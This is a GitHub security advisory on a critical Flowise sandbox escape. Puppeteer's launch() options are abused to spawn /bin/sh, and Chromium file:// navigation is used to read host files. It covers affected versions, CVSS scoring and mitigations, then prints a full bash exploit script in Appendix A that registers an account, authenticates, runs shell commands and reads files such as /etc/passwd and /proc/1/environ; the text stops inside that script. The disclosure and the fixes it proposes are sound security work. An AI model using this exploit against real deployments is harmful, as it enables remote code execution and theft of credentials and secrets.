Skip to content
This repository was archived by the owner on Aug 13, 2026. It is now read-only.

Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium

Critical
igor-magun-wd published GHSA-9gvv-qjj3-2p6g Jul 29, 2026

Package

npm flowise (npm)

Affected versions

<= 3.1.2

Patched versions

3.1.3
npm flowise-components (npm)
<= 3.1.2
3.1.3

Description

Summary

An authenticated Flowise user with access to the /api/v1/node-custom-function endpoint can escape Flowise's vm2 / @flowiseai/nodevm JavaScript sandbox and execute arbitrary OS commands as the Flowise process user - root in the official flowiseai/flowise:* Docker image.

The root cause is the architectural decision in packages/components/src/utils.ts to include 'puppeteer' (and 'playwright') in the availableDependencies allowlist that the NodeVM exposes to user-supplied JavaScript code. Puppeteer's public launch() API accepts caller-controlled executablePath and args values, and internally invokes child_process.spawn(executablePath, args) - outside the vm2 sandbox boundary, since the spawn happens inside puppeteer's host-context code rather than in sandboxed JS. The sandbox successfully blocks a direct require('child_process'); it cannot prevent a tunneled spawn through puppeteer's legitimate API surface.

In flowise-components@3.0.8 a runtime gate was added (process.env.ALLOW_BUILTIN_DEP === 'true') that, by default, hides the broad allowlist from the sandbox. This is an effective mitigation for default >=3.0.8 installs, but:

  1. All versions in the range 2.0.03.0.7 (32 published versions, ~2 years of releases) ship with no gate; the chain fires from any authenticated session.
  2. For 3.0.83.1.2 (9 published versions), operators who enable ALLOW_BUILTIN_DEP=true for legitimate reasons (custom flows that need puppeteer/playwright/other allowlisted modules) re-expose the same primitive with no security warning in upstream documentation.
  3. The vulnerable code path (puppeteer in availableDependencies) is still present in every published version up to and including current HEAD.

The same allowlist exposure additionally permits arbitrary file read on the host via a secondary use of puppeteer (headless: 'new', page.goto('file://<path>'), document.body.innerText extraction). The file-read primitive is functionally equivalent to having fs.readFileSync inside the sandbox.

Empirically confirmed on the official flowiseai/flowise:3.0.5 Docker image (digest sha256:05ca5d644efb37fb68d4c9c9e84c7060a965a71b8ae9fb04fb030a0acf930633) running on an authorized lab host. A successful single-shot run obtained the following from inside the sandbox:

=== id ===
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),...
=== hostname ===
d29ffb698fec
=== uname ===
Linux d29ffb698fec 6.8.0-1055-aws #58~22.04.1-Ubuntu SMP ... x86_64 Linux
=== os-release ===
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.22.1
CHAIN_OK

The full reproducer is provided at near the end of this document.


Affected product

  • npm package flowise-components (the vulnerable allowlist + sandbox construction lives in dist/src/utils.js).
  • npm package flowise (depends on flowise-components and exposes the API endpoint that drives it).
  • All distribution channels: npm install -g flowise@<version>, the official flowiseai/flowise:<version> Docker image, and the git-cloned source build (pnpm install && pnpm build && pnpm start).

Affected versions - source-inspected, version by version

Each tarball below was downloaded from the public npm registry and inspected directly; the table reflects what's actually shipped, not what's in the upstream HEAD source.

Version range Count ALLOW_BUILTIN_DEP gate present? 'puppeteer' in availableDependencies? Default exploitable?
2.0.02.0.7 8 No Yes Yes
2.1.02.1.5 6 No Yes Yes
2.2.02.2.8 9 No Yes Yes
3.0.03.0.7 8 No Yes Yes
3.0.83.0.13 6 Yes Yes Only if operator sets ALLOW_BUILTIN_DEP=true
3.1.03.1.2 3 Yes Yes Only if operator sets ALLOW_BUILTIN_DEP=true

The full classification table is available at evidence/version-classification.csv in this package.


Vulnerability details - where the bug lives

1. The allowlist - availableDependencies

File: packages/components/src/utils.ts (compiled to node_modules/flowise-components/dist/src/utils.js in distributed installs).

The availableDependencies array declares ~50 npm packages as permitted external require() targets for sandboxed user code. Two of these - 'puppeteer' and 'playwright' - both internally call child_process.spawn(<caller-controlled path>, <caller-controlled args>) through their launch() APIs:

// packages/components/src/utils.ts  (excerpt; reproduced from flowise-components@3.1.2/dist/src/utils.js)
exports.availableDependencies = [
    // ~50 other modules ...
    'puppeteer',
    'playwright',
    // ...
];

2. The sandbox construction - executeJavaScriptCode

The function that runs user-supplied JavaScript for custom-tool / custom-function nodes constructs a NodeVM with these dependencies wired into require.external.modules:

// packages/components/src/utils.ts  (executeJavaScriptCode; abridged)
async function executeJavaScriptCode(code, sandbox, options = {}) {
    const { timeout = 300000, useSandbox = true, /* ... */, nodeVMOptions = {} } = options;

    const builtinDeps = process.env.TOOL_FUNCTION_BUILTIN_DEP
        ? defaultAllowBuiltInDep.concat(process.env.TOOL_FUNCTION_BUILTIN_DEP.split(','))
        : defaultAllowBuiltInDep;

    const externalDeps = process.env.TOOL_FUNCTION_EXTERNAL_DEP
        ? process.env.TOOL_FUNCTION_EXTERNAL_DEP.split(',') : [];

    // ────── The gate (added in 3.0.8). Pre-3.0.8 the ternary was effectively "yes always". ──────
    let deps = process.env.ALLOW_BUILTIN_DEP === 'true'
        ? exports.availableDependencies.concat(externalDeps)
        : externalDeps;
    deps.push(...defaultAllowExternalDependencies);
    deps = [...new Set(deps)];

    // Secure wrappers for HTTP libraries (axios, node-fetch) - these are good
    // defense-in-depth examples that should be extended to puppeteer/playwright.
    const secureWrappers = { /* axios, node-fetch wrappers */ };

    const defaultNodeVMOptions = {
        console: 'inherit',
        sandbox,
        require: {
            external: {
                modules: deps,
                transitive: false        // intent: block transitive deps
            },
            builtin: builtinDeps,
            mock: secureWrappers         // axios/node-fetch get safe mocks
        },
        eval: false,                     // intent: block eval-based escapes
        wasm: false,                     // intent: block wasm-based escapes
        timeout: timeoutMs
    };
    const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions };
    const vm = new vm2_1.NodeVM(finalNodeVMOptions);

    const response = await vm.run(
        `module.exports = async function() {${code}}()`,
        __dirname
    );
    // ...
}

The intent of the design is clearly defensive - eval: false, wasm: false, secure wrappers for axios and node-fetch, no child_process in builtin, transitive: false on external modules, the post-3.0.8 gate. The escape route the design overlooks is that puppeteer is itself a wrapper around child_process.spawn, and its public launch() API forwards caller-controlled values directly to that spawn call without validation.

3. The gate added in 3.0.8 (and the legitimate-use loophole)

The line:

let deps = process.env.ALLOW_BUILTIN_DEP === 'true'
    ? exports.availableDependencies.concat(externalDeps)
    : externalDeps;

is the runtime gate. The defaultAllowExternalDependencies constant in the same file is the small list used when the gate is closed:

const defaultAllowExternalDependencies = ['axios', 'moment', 'node-fetch'];

Pre-3.0.8 the ternary did not exist; the broad allowlist was always combined into deps. Post-3.0.8 the broad allowlist is only added if the operator has explicitly set ALLOW_BUILTIN_DEP=true in the Flowise process environment.

ALLOW_BUILTIN_DEP=true is the documented way operators expose availableDependencies to custom-function code. The use cases are legitimate - flows that scrape web pages (puppeteer / playwright), use crypto primitives that aren't in the small default list, etc. There is no security warning in the upstream Flowise documentation that setting this env var also re-opens the sandbox-escape primitive.

4. The attack - minimal JS payload

An authenticated attacker submits this JavaScript as a custom function body via POST /api/v1/node-custom-function:

try {
    const puppeteer = module.require("puppeteer");
    try {
        await puppeteer.launch({
            headless: "new",
            executablePath: "/bin/sh",                          // attacker-controlled
            args: ["-c", "<arbitrary shell command here>"],     // attacker-controlled
            ignoreDefaultArgs: true,
            timeout: 5000
        });
    } catch (e) { /* puppeteer rejects /bin/sh as Chrome - expected and irrelevant */ }
    return "exploit_dispatched";
} catch (e) {
    return "puppeteer_load_failed: " + e.message;
}

Step-by-step:

  1. The sandbox permits module.require("puppeteer") because 'puppeteer' is in availableDependencies (and the gate, if present, has been opened by the operator's env var).
  2. The sandboxed code calls puppeteer.launch({...}). Inside puppeteer's launch() (in puppeteer's host-context code, not the sandboxed JS), the launcher reads options.executablePath directly and passes it to child_process.spawn(executablePath, args).
  3. child_process.spawn('/bin/sh', ['-c', '<command>']) executes outside the vm2 sandbox - vm2 has no hook to inspect host-module behavior.
  4. The shell runs as the Flowise Node.js process user. In flowiseai/flowise:* Docker images this is root.

The wrapper ignoreDefaultArgs: true is necessary to prevent puppeteer from appending Chrome-specific argv flags that would confuse /bin/sh. Puppeteer's subsequent "Could not find Chrome" error is caught and discarded by the attacker payload; the spawn has already happened.

5. Secondary primitive - arbitrary file read via Chromium

Once puppeteer is loadable, the attacker can launch the real Chromium binary and use its file:// URL handling to read arbitrary host files:

const puppeteer = module.require("puppeteer");
const browser = await puppeteer.launch({ headless: "new", args: ["--no-sandbox"] });
const page = await browser.newPage();
await page.goto("file:///etc/passwd", { waitUntil: "load" });
const content = await page.evaluate(() => document.body.innerText);
await browser.close();
return content;     // returned in API response body

This is functionally equivalent to fs.readFileSync in the sandbox. The file-read primitive can target any file the Flowise process user can read - /proc/1/environ (container deployment env vars), /usr/src/packages/server/.env (Flowise app secrets), /root/.ssh/* (SSH keys; the Flowise Docker image runs as root), the Flowise SQLite database with stored user credentials, etc.

Importantly, mitigations that lock down the process-spawn primitive (e.g., wrapping executablePath) must also address the file-read primitive - they share the same root cause (puppeteer in the allowlist) but require different fixes (the file-read uses real Chromium and legitimate puppeteer APIs throughout).


Attack vector and pre-conditions

Authentication

The attacker must be authenticated to Flowise. The /api/v1/node-custom-function endpoint requires a valid session JWT cookie issued by /api/v1/auth/login. Empirically verified.

Authorization / role

Any authenticated user role suffices. No admin role is required to call /api/v1/node-custom-function - it is a normal flow-execution endpoint reachable by any logged-in user.

Pre-auth vector - ruled out empirically

The following pre-auth endpoints were probed during the disclosure preparation; all returned 401, 404, or success:false for unauthenticated callers, and the database confirms no users were created by these probes:

POST /api/v1/users/register                 → HTTP 401
POST /api/v1/users                          → HTTP 401
POST /api/v1/workspace-user/register        → HTTP 401
POST /api/v1/workspace-user                 → HTTP 401
POST /api/v1/account/register-invite        → HTTP 200, success:false (no-op for unauth callers)
POST /api/v1/account/invite                 → HTTP 401
POST /api/v1/account/signup                 → HTTP 401
POST /api/v1/auth/signup                    → HTTP 401
POST /api/v1/account/create-account         → HTTP 401
POST /api/v1/invite/accept                  → HTTP 401

The /api/v1/account/register endpoint that creates the initial admin is gated to one organization per instance ({"statusCode":400,"success":false,"message":"You can only have one organization"}), so it cannot be reused to add additional users.

Realistic attacker profile

  • Multi-tenant Flowise deployments: any authenticated user across any workspace can fire the chain. The blast radius is the host container/VM.
  • Single-tenant / solo lab deployments: the single admin is the only authenticated user, so the practical risk is mostly limited to credential-theft chains (phishing, stored XSS, session theft) that obtain that user's JWT.
  • Internet-exposed Flowise instances with self-registration enabled by invite-link reuse: a single admin invite link, if leaked, gives the recipient full RCE on the host via this chain.

Proof of concept

Minimal one-shot demonstration (the primitive itself)

Run as an authenticated user with a valid JWT cookie in $COOKIES:

TARGET="http://<flowise-host>:3000"

# Dispatch payload - spawn /bin/sh and write proof to /tmp
PAYLOAD='
try {
    const puppeteer = module.require("puppeteer");
    try {
        await puppeteer.launch({
            headless: "new",
            executablePath: "/bin/sh",
            args: ["-c", "(id; hostname; uname -a; date) > /tmp/cve-pwn.txt; echo CHAIN_OK >> /tmp/cve-pwn.txt"],
            ignoreDefaultArgs: true,
            timeout: 5000
        });
    } catch (e) { /* expected */ }
    return "exploit_dispatched";
} catch (e) { return "puppeteer_load_failed: " + e.message; }
'

curl -s -X POST "$TARGET/api/v1/node-custom-function" \
    -H "Content-Type: application/json" \
    -H "x-request-from: internal" \
    -b "$COOKIES" \
    --data "$(jq -n --arg js "$PAYLOAD" '{javascriptFunction:$js}')"
# Expected response: "exploit_dispatched"

# Read the proof file back via the secondary primitive
READBACK='
const puppeteer = module.require("puppeteer");
const browser = await puppeteer.launch({ headless: "new", args: ["--no-sandbox"] });
const page = await browser.newPage();
await page.goto("file:///tmp/cve-pwn.txt", { waitUntil: "load" });
const content = await page.evaluate(() => document.body.innerText);
await browser.close();
return content;
'

curl -s -X POST "$TARGET/api/v1/node-custom-function" \
    -H "Content-Type: application/json" \
    -H "x-request-from: internal" \
    -b "$COOKIES" \
    --data "$(jq -n --arg js "$READBACK" '{javascriptFunction:$js}')"
# Expected response body: a JSON-encoded string containing the proof file's content.

Full automated Exploit PoC

A complete exploit PoCis provided at the end of this summary. It handles end-to-end: target fingerprinting via /api/v1/version, gate-status classification, initial-admin provisioning, authentication, payload dispatch, file-read readback, and optional ad-hoc reads via a --also-read flag. It is reproduced verbatim below.

Empirical reproduction transcript

Run against a fresh flowiseai/flowise:3.0.5 Docker container (image digest sha256:05ca5d644efb37fb68d4c9c9e84c7060a965a71b8ae9fb04fb030a0acf930633) on an authorized lab host:

[08:31:20] Phase 0 - fingerprint http://<lab-host>:3000
[08:31:20]  OK   Target version: 3.0.5
[08:31:20]  OK   Version 3.0.5 is UNGATED. Exploit fires from any authenticated session.
[08:31:21] Phase 1 - provision admin (idempotent)
[08:31:21]  OK   Registered admin: probe@lab.test
[08:31:21] Phase 2 - authenticate
[08:31:21]  OK   JWT cookie captured
[08:31:22] Phase 4 - dispatch puppeteer escape payload
[08:31:22]   server response: "exploit_dispatched"
[08:31:24] Phase 5 - read proof file back via page.goto(file://)

--- proof file contents (Phase 5 readback) ---
=== id ===
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),...
=== hostname ===
d29ffb698fec
=== uname ===
Linux d29ffb698fec 6.8.0-1055-aws #58~22.04.1-Ubuntu SMP Thu May  7 22:16:53 UTC 2026 x86_64 Linux
=== date ===
Fri May 22 08:31:23 UTC 2026
=== os-release ===
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.22.1
CHAIN_OK

Contact for full transcript and proof artifacts.


Impact

Tier 1 - flowise-components 2.0.03.0.7 (unconditional)

  • Arbitrary OS code execution as the Flowise Node.js process user. In the official flowiseai/flowise:* Docker images this is root inside the container. In npm/Docker-compose installs this is whichever user launched flowise start (often root in default setups, sometimes a dedicated flowise / node user in production deployments).
  • Container compromise is direct: the container runs as root, has filesystem write, network egress, and can spawn child processes.
  • Host compromise is straightforward in deployments that run the container with --privileged, --pid=host, mounted Docker socket, or host-volume mounts - which is common for Flowise users who wire up local-file integrations or want flow logs persisted to the host.
  • Arbitrary file read of any file the Flowise process can read, returned via the API response: /etc/passwd, /proc/1/environ (container deployment env vars - often contain FLOWISE_SECRETKEY_OVERWRITE, DB connection strings, LLM provider API keys, OAuth client secrets), /usr/src/packages/server/.env (Flowise's own app secrets), /etc/shadow and SSH private keys when the process runs as root.
  • Cloud metadata service access: spawned shell can curl http://169.254.169.254/... for IAM credentials on AWS / equivalent on GCP / Azure (subject to IMDSv1/v2 configuration).
  • Lateral movement: from the spawned shell, the attacker has curl, wget, nc, language interpreters (Node, often Python) to reach internal services - databases the Flowise instance has access to, internal APIs, Kubernetes API server when deployed in-cluster.
  • Theft of stored Flowise credentials: the Flowise SQLite DB at ~/.flowise/database.sqlite holds user-stored API credentials for OpenAI / Anthropic / vector DBs / other third-party services - wired into customer flows and encrypted with a key co-resident in the deployment. The chain allows the encryption key to be read and the credentials decrypted in one go.
  • Persistence: with code execution and file write, the attacker can implant backdoors in the Flowise install or in mounted host paths.

This tier is the higher-severity, broader-impact case. It covers 32 published versions over approximately 2 years of releases.

Tier 2 - flowise-components 3.0.83.1.2 (conditional)

Identical exploitation primitive and identical impact, but the chain only fires when ALLOW_BUILTIN_DEP=true is set in the Flowise process environment.

ALLOW_BUILTIN_DEP is the documented mechanism operators use to expose availableDependencies to custom-function code. Legitimate use cases that set it:

  • Flows that scrape web pages using puppeteer or playwright (the most common reason)
  • Flows that use other allowlisted modules outside the small default list (axios, moment, node-fetch)
  • Custom development where the operator wanted pre-3.0.8 behavior restored without code changes

ALLOW_BUILTIN_DEP is currently not documented in Flowise's security documentation as a security-relevant setting. Operators who enable it for one of the use cases above have no warning that doing so re-opens the sandbox-escape primitive. Internal-product security reviews will not flag this configuration because the upstream docs don't.

For default >=3.0.8 deployments where the env var is unset, the chain is not exploitable via this path - module.require('puppeteer') returns MODULE_NOT_FOUND inside the sandbox. Confirmed empirically.

Tier 3 - flowise-components < 2.0.0

Not source-inspected as part of this disclosure. Older versions almost certainly contain the same pattern (predates the gate, predates the larger allowlist redesigns), but the verification table is scoped to >= 2.0.0.


CVSS 3.1 - vector, score, rationale

Tier 1 vector (pre-3.0.8, default-installed)

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - 9.6 Critical

Metric Value Rationale
Attack Vector (AV) Network (N) Flowise's REST API is the attack surface. Default deployments bind port 3000 on 0.0.0.0 or sit behind a reverse proxy that does.
Attack Complexity (AC) Low (L) Single HTTP request after authentication. No race conditions, no version-specific gadgets, no environment dependencies beyond Flowise running.
Privileges Required (PR) Low (L) An authenticated, lowest-privilege role user. No admin role check on the vulnerable endpoint.
User Interaction (UI) None (N) No victim interaction required.
Scope (S) Changed (C) The vulnerability lies in the JavaScript sandbox layer; successful exploitation gains code execution in the host Node.js process layer with full privileges. The security authority crosses from "sandbox-confined code" to "host process," which is the textbook scope-change case.
Confidentiality (C) High (H) Full host filesystem read, full process memory access, container env vars, stored Flowise credentials, mounted host paths.
Integrity (I) High (H) Arbitrary file write as root; full ability to modify Flowise's own code/config and any mounted host paths.
Availability (A) High (H) Trivial to take down the Flowise process; can wipe the SQLite DB; on privileged containers can affect the host.

Tier 2 vector (>=3.0.8 with ALLOW_BUILTIN_DEP=true)

Same vector and same score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - 9.6 Critical.

CVSS 3.1 does not have a clean way to model "vulnerable conditional on operator configuration." The CVSS team's guidance is that configuration prerequisites are modeled as the deployed state of the system, not as additional attack-vector requirements: once an operator has set ALLOW_BUILTIN_DEP=true, the system is in a vulnerable configuration, and the attack vector from that state is identical to Tier 1. We score Tier 2 the same as Tier 1 and document the configuration prerequisite separately in the advisory text.

Tier 3 (>=3.0.8 default)

Not exploitable via this chain. No CVSS score applicable. (However, see the "incomplete mitigation" discussion in the Mitigation section below - the vulnerable code path remains present and one env-var change away from exploitable.)

Why not "S:U"?

The boundary being crossed is the vm2 NodeVM sandbox-vs-host-process boundary. vm2's security claim is exactly that sandboxed code cannot execute in the host. The chain demonstrably violates that - sandboxed code causes child_process.spawn in the host, which is the canonical S:C case (security authority changes from sandbox runtime to host process). S:U would be incorrect.

Why "PR:L" rather than "PR:N"?

Pre-auth was ruled out empirically - see the Attack vector section. The chain requires a valid JWT, which requires an authenticated session, which requires either being the initial-admin user or having been invited.


Mitigation

Tier 1 (preferred, minimal-disruption fix)

Remove 'puppeteer' and 'playwright' from availableDependencies in packages/components/src/utils.ts.

Rationale:

  • The puppeteer-using and playwright-using nodes elsewhere in Flowise (the WebBrowser/WebScraper/HTMLLoader/etc. nodes) call these modules from the host execution context - they import puppeteer at the Node.js level, not from inside the sandboxed custom-function context. Removing the two names from availableDependencies therefore does not break any documented Flowise node.
  • Operators who legitimately need puppeteer / playwright accessible from custom-function code can re-enable them on a per-deployment basis via the existing TOOL_FUNCTION_EXTERNAL_DEP env var, with documentation explicitly stating that doing so re-opens the sandbox-escape primitive.

Diff sketch (subject to upstream review):

 exports.availableDependencies = [
     /* ~50 modules ... */
-    'puppeteer',
-    'playwright',
     /* ... */
 ];

Tier 2 (defense in depth, retain in-sandbox puppeteer)

Wrap puppeteer.launch (and playwright.<browser>.launch) with secure mocks that strip the attacker-controllable knobs, using the same mock pattern already used for axios and node-fetch:

// In executeJavaScriptCode, alongside the existing secureWrappers:
const securePuppeteerMock = {
    launch: async (options = {}) => {
        // Strip the attacker-controllable knobs that turn launch() into a spawn primitive.
        const { executablePath, args, ignoreDefaultArgs, env, ...safeOptions } = options;
        return await puppeteer.launch(safeOptions);   // launch only with bundled Chrome, default args
    },
    // pass-through for other puppeteer exports as needed
};
secureWrappers['puppeteer'] = securePuppeteerMock;
// equivalent for playwright

Same approach handles the file-read primitive - once executablePath and args are stripped, attacker control over both spawn arguments is gone, but legitimate web-scraping use cases still work (default Chromium launch with default args).

Caveat: this addresses the process-spawn primitive but not the arbitrary-file-read primitive via page.goto('file://...'). A complete defense-in-depth would also intercept page.goto calls in the wrapper to block file:// URL schemes:

// Wrap newPage() so the returned page rejects file:// navigations

…which is more invasive. Tier 1 (remove from allowlist) sidesteps both primitives in one stroke.

Tier 3 (documentation / operator-side hardening)

If the project elects to keep availableDependencies as-is and rely on the ALLOW_BUILTIN_DEP gate, the security documentation should explicitly state:

Setting ALLOW_BUILTIN_DEP=true exposes packages including puppeteer and playwright to user-supplied JavaScript code in custom-function nodes. These packages permit authenticated users to spawn arbitrary OS processes (via puppeteer.launch's executablePath option) and to read arbitrary files on the Flowise host (via Chromium's file:// URL handling). Setting ALLOW_BUILTIN_DEP=true is therefore equivalent to granting every authenticated user code execution as the Flowise process user. Set this variable only in deployments where every authenticated user is fully trusted to execute arbitrary code on the host.


Appendix A - Full Exploit-PoC (verbatim)

The script below is the lab-verified exploit-PoC used to generate the empirical evidence cited in this advisory. Provided so that the maintainer can reproduce end-to-end against a freshly-pulled flowiseai/flowise:3.0.5 (or any other affected version) without re-deriving the API call sequence.

#!/usr/bin/env bash
# vm2/NodeVM sandbox escape via puppeteer's executablePath argument.
#
# Phases:
#   0. Fingerprint /api/v1/version and classify gate status
#   1. Provision admin (idempotent - handles "already exists" cleanly)
#   2. Authenticate, capture JWT cookie
#   3. Fetch authenticated account profile (proof of valid session)
#   4. Dispatch the puppeteer.launch({executablePath:'/bin/sh',...}) payload -
#      spawns /bin/sh inside the container and writes a proof file
#   5. Read the proof file back via puppeteer's `page.goto('file://...')`
#      file-read primitive
#   6. (optional) Read additional files via --also-read for impact demo
#
# IMPORTANT
# ---------
#
# Usage:
#   ./exploit.sh --target http://HOST:3000
#   ./exploit.sh --target ... --also-read /etc/passwd --also-read /proc/1/environ
#   ./exploit.sh --target ... --email me@lab.test --password 'Hunter2!'
#   ./exploit.sh --target ... --output /tmp/disclosure-evidence.txt

set -uo pipefail

# ---- defaults ----
TARGET=""
EMAIL=""
PASSWORD=""
EMAIL_FROM_FLAG=""
PASSWORD_FROM_FLAG=""
NAME="CVE Probe"
KEEP_ACCOUNT=0
PROOF_REMOTE="/tmp/cve_proof_$(date +%s).txt"
TIMEOUT=20
ALSO_READ=()
OUTPUT_FILE=""
CREDS_FILE="./authcred.txt"

# ---- arg parse ----
while [ $# -gt 0 ]; do
    case "$1" in
        --target)        TARGET="$2"; shift 2 ;;
        --email)         EMAIL_FROM_FLAG="$2"; shift 2 ;;
        --password)      PASSWORD_FROM_FLAG="$2"; shift 2 ;;
        --name)          NAME="$2"; shift 2 ;;
        --also-read)     ALSO_READ+=("$2"); shift 2 ;;
        --output)        OUTPUT_FILE="$2"; shift 2 ;;
        --creds-file)    CREDS_FILE="$2"; shift 2 ;;
        --keep-account)  KEEP_ACCOUNT=1; shift ;;
        -h|--help)       echo "Usage: $0 --target <url> [opts]"; exit 1 ;;
        *)               echo "Unknown arg: $1" >&2; exit 1 ;;
    esac
done
[ -z "$TARGET" ] && { echo "ERROR: --target required" >&2; exit 1; }
TARGET="${TARGET%/}"

# ---- credentials resolution ----
if [ -n "$EMAIL_FROM_FLAG" ]; then
    EMAIL="$EMAIL_FROM_FLAG"
    PASSWORD="${PASSWORD_FROM_FLAG:-ProbePass1!}"
elif [ -f "$CREDS_FILE" ]; then
    # shellcheck disable=SC1090
    source "$CREDS_FILE"
    [ -z "${EMAIL:-}" ] && EMAIL="probe_$(date +%s)@example.com"
    [ -z "${PASSWORD:-}" ] && PASSWORD='ProbePass1!'
else
    EMAIL="probe_$(date +%s)@example.com"
    PASSWORD='ProbePass1!'
fi

WORK=$(mktemp -d -t flowise-final.XXXXXX)
COOKIES="$WORK/cookies"
BODY_FILE="$WORK/lastbody"
CODE_FILE="$WORK/lastcode"
trap 'rm -rf "$WORK"' EXIT
LAST_HTTP_CODE=""

[ -n "$OUTPUT_FILE" ] && exec > >(tee "$OUTPUT_FILE") 2>&1

log()  { printf '[%(%H:%M:%S)T] %s\n' -1 "$*"; }
ok()   { printf '[%(%H:%M:%S)T]  OK   %s\n' -1 "$*"; }
warn() { printf '[%(%H:%M:%S)T] WARN  %s\n' -1 "$*"; }
err()  { printf '[%(%H:%M:%S)T] FAIL  %s\n' -1 "$*"; }
hr()   { printf -- '----------------------------------------------------------------\n'; }

req() {
    local method="$1" path="$2" data="${3:-}"
    shift; shift; [ $# -gt 0 ] && shift
    local -a curl_args=(
        -ksS --max-time "$TIMEOUT" -X "$method"
        -H "Content-Type: application/json" -H "x-request-from: internal"
        -b "$COOKIES" -c "$COOKIES"
        -w "%{http_code}" -o "$BODY_FILE" "$@"
    )
    [ -n "$data" ] && curl_args+=(--data "$data")
    curl "${curl_args[@]}" "$TARGET$path" > "$CODE_FILE" 2>/dev/null || true
    LAST_HTTP_CODE=$(cat "$CODE_FILE" 2>/dev/null || echo "000")
}

# Phase 0 - fingerprint
hr; log "Phase 0 - fingerprint $TARGET"
req GET /api/v1/version
[ "$LAST_HTTP_CODE" != "200" ] && { err "Target unreachable: HTTP $LAST_HTTP_CODE"; exit 2; }
VERSION=$(jq -r '.version // empty' < "$BODY_FILE")
ok "Target version: $VERSION"

# Gate classification
IFS=. read -r a b c <<<"${VERSION%%-*}"
IFS=. read -r x y z <<<"3.0.8"
GATED=0
if [ "${a:-0}" -gt "${x:-0}" ] || \
   { [ "${a:-0}" -eq "${x:-0}" ] && [ "${b:-0}" -gt "${y:-0}" ]; } || \
   { [ "${a:-0}" -eq "${x:-0}" ] && [ "${b:-0}" -eq "${y:-0}" ] && [ "${c:-0}" -ge "${z:-0}" ]; }; then
    GATED=1
fi
[ "$GATED" -eq 1 ] && warn "$VERSION is GATED - requires ALLOW_BUILTIN_DEP=true" || ok "$VERSION is UNGATED"

# Phase 1 - register admin
hr; log "Phase 1 - provision admin (idempotent)"
log "  admin email: $EMAIL"
REG_BODY=$(jq -n --arg n "$NAME" --arg e "$EMAIL" --arg t "pro" --arg c "$PASSWORD" \
    '{user:{name:$n,email:$e,type:$t,credential:$c}}')
req POST /api/v1/account/register "$REG_BODY"
save_creds() {
    umask 077
    cat > "$CREDS_FILE" <<EOF
EMAIL='$EMAIL'
PASSWORD='$PASSWORD'
EOF
}
case "$LAST_HTTP_CODE" in
    201|200) ok "Registered admin: $EMAIL"; save_creds ;;
    400)
        MSG=$(jq -r '.message // ""' < "$BODY_FILE")
        echo "$MSG" | grep -qiE "already|exist|one organization" && \
            warn "Admin/org exists - will login with current creds" || \
            warn "Registration returned 400: $MSG"
        ;;
    *) err "Registration returned HTTP $LAST_HTTP_CODE" ;;
esac

# Phase 2 - login
hr; log "Phase 2 - authenticate as $EMAIL"
LOGIN_BODY=$(jq -n --arg e "$EMAIL" --arg p "$PASSWORD" '{email:$e,password:$p}')
req POST /api/v1/auth/login "$LOGIN_BODY"
[ "$LAST_HTTP_CODE" != "200" ] && { err "Login failed: HTTP $LAST_HTTP_CODE"; exit 3; }
ok "JWT cookie captured"

# Phase 3 - fetch profile
hr; log "Phase 3 - fetch profile"
req GET /api/v1/account/profile
[ "$LAST_HTTP_CODE" = "200" ] && ok "Profile: $(jq -r '.email // .id // "?"' < "$BODY_FILE")"

# Phase 4 - dispatch exploit
hr; log "Phase 4 - dispatch puppeteer escape payload"
log "  proof file: $PROOF_REMOTE"
IMPACT_CMD="(echo '=== id ==='; id; echo '=== hostname ==='; hostname; echo '=== uname ==='; uname -a; echo '=== date ==='; date; echo '=== os-release ==='; cat /etc/os-release 2>/dev/null | head -5; echo '=== cgroup ==='; cat /proc/self/cgroup 2>/dev/null | head -3) > $PROOF_REMOTE 2>&1; echo CHAIN_OK >> $PROOF_REMOTE"

DISPATCH_JS=$(cat <<JS
try {
    const puppeteer = module.require("puppeteer");
    try {
        await puppeteer.launch({
            headless: "new",
            executablePath: "/bin/sh",
            args: ["-c", "$IMPACT_CMD"],
            ignoreDefaultArgs: true,
            timeout: 5000
        });
    } catch (e) { /* expected */ }
    return "exploit_dispatched";
} catch (e) { return "puppeteer_load_failed: " + e.message; }
JS
)
DISPATCH_BODY=$(jq -n --arg js "$DISPATCH_JS" '{javascriptFunction:$js}')
req POST /api/v1/node-custom-function "$DISPATCH_BODY"
DISPATCH_RESP=$(cat "$BODY_FILE")
log "  server response: $DISPATCH_RESP"
case "$DISPATCH_RESP" in
    *exploit_dispatched*) ok "Payload dispatched" ;;
    *MODULE_NOT_FOUND*|*Cannot\ find\ module*) err "puppeteer NOT loadable (gate closed?)" ;;
    *) warn "Unexpected response" ;;
esac
sleep 2

# Phase 5 - readback
hr; log "Phase 5 - read proof file back"
READBACK_JS=$(cat <<JS
try {
    const puppeteer = module.require("puppeteer");
    const browser = await puppeteer.launch({ headless: "new", args: ["--no-sandbox"] });
    const page = await browser.newPage();
    await page.goto("file://$PROOF_REMOTE", { waitUntil: "load" });
    const content = await page.evaluate(() => document.body.innerText);
    await browser.close();
    return content;
} catch (e) { return "readback_failed: " + e.message; }
JS
)
READBACK_BODY=$(jq -n --arg js "$READBACK_JS" '{javascriptFunction:$js}')
req POST /api/v1/node-custom-function "$READBACK_BODY"
PROOF_CONTENT=$(jq -r '.' < "$BODY_FILE" 2>/dev/null || cat "$BODY_FILE")

# Phase 6 - optional additional reads
ADDITIONAL=""
if [ ${#ALSO_READ[@]} -gt 0 ]; then
    hr; log "Phase 6 - additional reads"
    for p in "${ALSO_READ[@]}"; do
        log "  reading: $p"
        EXTRA_JS=$(cat <<JS
try {
    const puppeteer = module.require("puppeteer");
    const browser = await puppeteer.launch({ headless: "new", args: ["--no-sandbox"] });
    const page = await browser.newPage();
    await page.goto("file://$p", { waitUntil: "load" });
    const content = await page.evaluate(() => document.body.innerText);
    await browser.close();
    return content;
} catch (e) { return "read_failed: " + e.message; }
JS
)
        EXTRA_BODY=$(jq -n --arg js "$EXTRA_JS" '{javascriptFunction:$js}')
        req POST /api/v1/node-custom-function "$EXTRA_BODY"
        EXTRA=$(jq -r '.' < "$BODY_FILE" 2>/dev/null || cat "$BODY_FILE")
